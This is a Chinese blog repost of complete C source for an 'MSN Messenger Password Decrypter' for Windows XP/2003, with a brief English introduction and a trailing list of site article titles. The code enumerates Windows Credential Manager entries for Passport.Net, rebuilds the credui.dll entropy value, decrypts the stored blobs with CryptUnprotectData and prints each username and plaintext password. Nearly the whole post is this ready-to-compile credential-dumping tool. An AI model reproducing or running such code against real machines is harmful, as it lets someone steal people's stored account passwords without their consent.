转一个获取MSN口令的代码
来源:互联网 发布:注册中文域名的好处 编辑:程序博客网 时间:2024/06/06 08:57
MSN Messenger uses Windows Credential UI [credui.dll]
on WinXP/2003. Password-Storage mechanism differs in
these OSes so, the code posted by tombkeeper
[http://xfocus.net/articles/200408/726.html] doesn't
seem to work anymore on my OS atleast. Also, a
'entropy' value has been thrown, which is based on
credui.dll GUID.
So, here is the code that fullfils the same purpose -
but surely works on my OS [WinXP SP2] :)
/--- Start-Code --/
/*
* MSN Messenger Password Decrypter for Windows XP &
2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN
Messenger 7.0)
* - Gregory R. Panakkal
* http://www.crapware.tk/
* http://www.infogreg.com/
*/
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "Crypt32.lib")
//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK //LCC-Win32 Includes]
typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;
typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;
typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;
////////////////////////////////////////////////////////////////////
typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
////////////////////////////////////////////////////////////////////
void showBanner()
{
printf("MSN Messenger Password Decrypter forWindows XP/2003/n");
printf(" - Gregory R. Panakkal,http://www.infogreg.com /n/n");
}
////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL *CredentialCollection = NULL;
DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
//used for filling up blobEntropy
char szEntropyStringSeed[37] =
"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
short int EntropyData[37];
short int tmp;
HMODULE hDLL;
DWORD Count, i;
showBanner();
//Locate CredEnumerate, CredRead, CredFree from advapi32.dll
if( hDLL = LoadLibrary("advapi32.dll") )
{
pfCredEnumerateA =
(typeCredEnumerateA)GetProcAddress(hDLL,
"CredEnumerateA");
pfCredReadA =
(typeCredReadA)GetProcAddress(hDLL, "CredReadA");
pfCredFree =
(typeCredFree)GetProcAddress(hDLL, "CredFree");
if( pfCredEnumerateA == NULL||
pfCredReadA == NULL ||
pfCredFree == NULL )
{
printf("error!/n");
return -1;
}
}
//Get an array of 'credential', satisfying the filter
pfCredEnumerateA("Passport.Net//*", 0, &Count,&CredentialCollection);
if( Count ) //usually this value is only 1
{
//Calculate Entropy Data
for(i=0; i<37; i++) //strlen(szEntropyStringSeed) = 37
{
tmp = (short int)szEntropyStringSeed[i];
tmp <<= 2;
EntropyData[i] = tmp;
}
for(i=0; i<Count; i++)
{
blobEntropy.pbData = (BYTE *)&EntropyData;
blobEntropy.cbData = 74;
//sizeof(EntropyData)
blobCrypt.pbData =
CredentialCollection[i]->CredentialBlob;
blobCrypt.cbData =
CredentialCollection[i]->CredentialBlobSize;
CryptUnprotectData(&blobCrypt, NULL,
&blobEntropy, NULL, NULL, 1, &blobPlainText);
printf("Username : %s/n",
CredentialCollection[i]->UserName);
printf("Password : %ls/n/n",
blobPlainText.pbData);
}
}
pfCredFree(CredentialCollection);
}
/--- End-Code --/
URL :
http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yztgx/archive/2005/08/18/457797.aspx
- 转一个获取MSN口令的代码
- 转一个获取MSN口令的代码
- VC编程获取MSN口令的代码
- VC编程获取MSN口令的代码
- 一个搞笑的msn记录
- 关于MSN的一个脚本
- 一个管理msn的页面
- Java中创建口令密钥的代码
- 【转】一个简单的多线程即时通讯程序(类似QQ,MSN)
- 如何获取msn的好友列表
- 腾讯QQ与MSN的调用代码
- 类似MSN弹出框的JavaScript代码
- MSN 、QQ 的临时对话代码。。。。。。。。。。。。。。。。。。。。
- 类似MSN弹出框的JavaScript代码
- java获取msn好友列表(转)
- 整理的一个仿msn弹出窗口
- 税控盘口令获取方法
- 一个全面获取Intel CPUID的代码
- Java语言深入:新生代JAVA程序员的思想
- LINQ to SQL(LINQ2SQL) vs. ADO.NET Entity Framework(ADOEF)-ccBoy版
- IList(T)转换DataSet
- 手动杀毒
- 初始化引发的"StackOverflowError" 异常
- 转一个获取MSN口令的代码
- 在当前按钮位置弹出窗体的代码。自动计算弹出方位。
- 多线程,多显示场景图形设计:一种新的过程模型
- 我为什么要进国企——HP大中华区总裁孙振耀退休感言 (每次阅读都有新体会,推荐)
- 开发框架:Spring XML配置十二个最佳实践
- 性能分析工具
- 判断语句的直白性
- 什么造就好的代码?
- 第三方类库--I/O包中的 Decorator模式